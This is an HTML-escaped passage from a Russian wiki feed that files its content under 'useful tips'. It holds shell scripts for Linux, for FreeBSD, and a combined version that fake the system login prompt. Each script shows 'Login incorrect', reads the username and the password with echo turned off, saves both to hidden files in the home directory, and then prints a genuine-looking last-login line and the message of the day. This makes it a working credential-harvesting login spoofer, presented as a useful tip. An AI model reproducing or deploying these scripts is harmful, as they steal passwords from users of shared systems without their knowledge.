p=&amp;quot;Password: &amp;quot;&lt;br /&gt;
	&lt;br /&gt;
echo &amp;quot;Login incorrect&amp;quot;&lt;br /&gt;
lg=$LANG&lt;br /&gt;
LANG='us'&lt;br /&gt;
printf &amp;quot;%s %s &amp;quot; $(hostname) $l&lt;br /&gt;
head -n 1 1&amp;gt;~/1login&lt;br /&gt;
	&lt;br /&gt;
stty -echo&lt;br /&gt;
printf &amp;quot;%s &amp;quot; $p&lt;br /&gt;
head -n 1 1&amp;gt;~/2login&lt;br /&gt;
stty echo&lt;br /&gt;
echo&lt;br /&gt;
	&lt;br /&gt;
echo -n &amp;quot;Last login: &amp;quot;&lt;br /&gt;
lastlog -u $(whoami) | tail -n 1 | awk '{ print $3, $4, $5, $6, $8, &amp;quot;on&amp;quot;, $2 }'&lt;br /&gt;
	&lt;br /&gt;
if !(test -e ~/.hushlogin); then&lt;br /&gt;
	cat /etc/motd 2&amp;gt;/dev/null&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''FreeBSD'''&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
	&lt;br /&gt;
l=&amp;quot;login:&amp;quot;&lt;br /&gt;
p=&amp;quot;Password:&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
echo &amp;quot;Login incorrect&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
lg=$LANG&lt;br /&gt;
LANG='us'&lt;br /&gt;
printf &amp;quot;%s &amp;quot; $l&lt;br /&gt;
head -n 1 1&amp;gt;~/1login&lt;br /&gt;
	&lt;br /&gt;
stty -echo&lt;br /&gt;
echo -n $p&lt;br /&gt;
head -n 1 1&amp;gt;~/2login&lt;br /&gt;
stty echo&lt;br /&gt;
echo&lt;br /&gt;
	&lt;br /&gt;
echo -n &amp;quot;Last login: &amp;quot;&lt;br /&gt;
lastlogin $(whoami) | awk '{print $3, $4, $5, $6, &amp;quot;on&amp;quot;, $2}'&lt;br /&gt;
LANG=$lg&lt;br /&gt;
	&lt;br /&gt;
if !(test -e ~/.hushlogin); then&lt;br /&gt;
	head -n 3 /var/run/dmesg.boot&lt;br /&gt;
	echo&lt;br /&gt;
	cat /etc/motd 2&amp;gt;/dev/null&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
'''Портированный вариант для Linux и FreeBSD'''&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
	&lt;br /&gt;
p=&amp;quot;Password:&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
### Starting ###&lt;br /&gt;
lg=$LANG&lt;br /&gt;
LANG='us'&lt;br /&gt;
echo 'Login incorrect'&lt;br /&gt;
s=$(uname -s)&lt;br /&gt;
	&lt;br /&gt;
case ${s} in&lt;br /&gt;
Linux)&lt;br /&gt;
	st=1&lt;br /&gt;
	l=$(hostname)&amp;quot; login:&amp;quot;&lt;br /&gt;
	lslg=&amp;quot;lastlog -u&amp;quot;&lt;br /&gt;
	;;&lt;br /&gt;
FreeBSD)&lt;br /&gt;
	st=2&lt;br /&gt;
	l=&amp;quot;login:&amp;quot;&lt;br /&gt;
	prp=&amp;quot;%s&amp;quot;&lt;br /&gt;
	lslg=&amp;quot;lastlogin&amp;quot;&lt;br /&gt;
	cpr=&amp;quot;head -n 3 /var/run/dmesg.boot&amp;quot;; cpr1=&amp;quot;echo&amp;quot;&lt;br /&gt;
	;;&lt;br /&gt;
esac&lt;br /&gt;
printf &amp;quot;%s &amp;quot; $l&lt;br /&gt;
head -n 1 &amp;gt;~/.1login&lt;br /&gt;
stty -echo&lt;br /&gt;
echo -n $p&lt;br /&gt;
if test $s=Linux; then echo -n ' '; fi&lt;br /&gt;
head -n 1 &amp;gt;~/.2login&lt;br /&gt;
stty echo; echo&lt;br /&gt;
	&lt;br /&gt;
echo -n &amp;quot;Last login: &amp;quot;&lt;br /&gt;
case ${s} in&lt;br /&gt;
Linux)&lt;br /&gt;
	$lslg $(whoami) | tail -n 1 | awk '{print $3, $4, $5, $6, $8, &amp;quot;on&amp;quot;, $2}'&lt;br /&gt;
	;;&lt;br /&gt;
FreeBSD) &lt;br /&gt;
	$lslg $(whoami) | awk '{print $3, $4, $5, $6, &amp;quot;on&amp;quot;, $2}'&lt;br /&gt;
	;;&lt;br /&gt;
esac&lt;br /&gt;
	&lt;br /&gt;
if !(test -e ~/.hushlogin); then&lt;br /&gt;
	($cpr); ($cpr1)&lt;br /&gt;
	cat /etc/motd 2&amp;gt;/dev/null&lt;br /&gt;
fi &lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
[[Category:Полезные советы]]&lt;/div&gt;</summary>
		<author><name>lor&gt;Cetjs2</name></author>
	</entry>
</feed>